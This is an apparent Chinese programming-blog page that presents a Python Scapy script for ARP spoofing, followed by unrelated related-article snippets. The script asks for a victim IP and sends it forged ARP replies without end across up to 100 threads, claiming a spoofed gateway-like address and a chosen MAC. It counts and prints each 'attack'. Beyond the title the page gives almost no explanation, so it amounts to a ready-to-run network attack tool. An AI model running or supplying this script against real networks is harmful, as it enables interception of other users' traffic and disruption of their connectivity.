python发送arp欺骗攻击代码分析

yipeiwu_com7年前Python基础

复制代码 代码如下:

# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount

BROADCASTMAC = getmacbyip('192.168.0.120')

class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)

class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip

    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)

if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')

    Main(ip = ip).start()

相关文章

django 常用orm操作详解

Django流程: 1 创建Django项目 : django-admin startproject projectname 2 创建应用: : python manage.py sta...

对Python 3.5拼接列表的新语法详解

在Python 3.5之前的版本,拼接列表可以有这两种方法: 1、列表相加 list1 = [1,2,3] list2 = [4,5,6] result = list1 + list...

python监控linux内存并写入mongodb(推荐)

(需要安装psutil 用来获取服务器资源,以及pymongo驱动)#pip install psutil #pip install pymongo #vim memory_moni...

python topN 取最大的N个数或最小的N个数方法

如下所示: import numpy as np a = np.array([1,4,3,5,2]) b = np.argsort(a) print(b) print结果[0 4...

flask中过滤器的使用详解

过滤器 过滤器的本质就是函数。有时候我们不仅仅只是需要输出变量的值,我们还需要修改变量的显示,甚至格式化、运算等等,而在模板中是不能直接调用 Python 中的某些方法,那么这就用到了...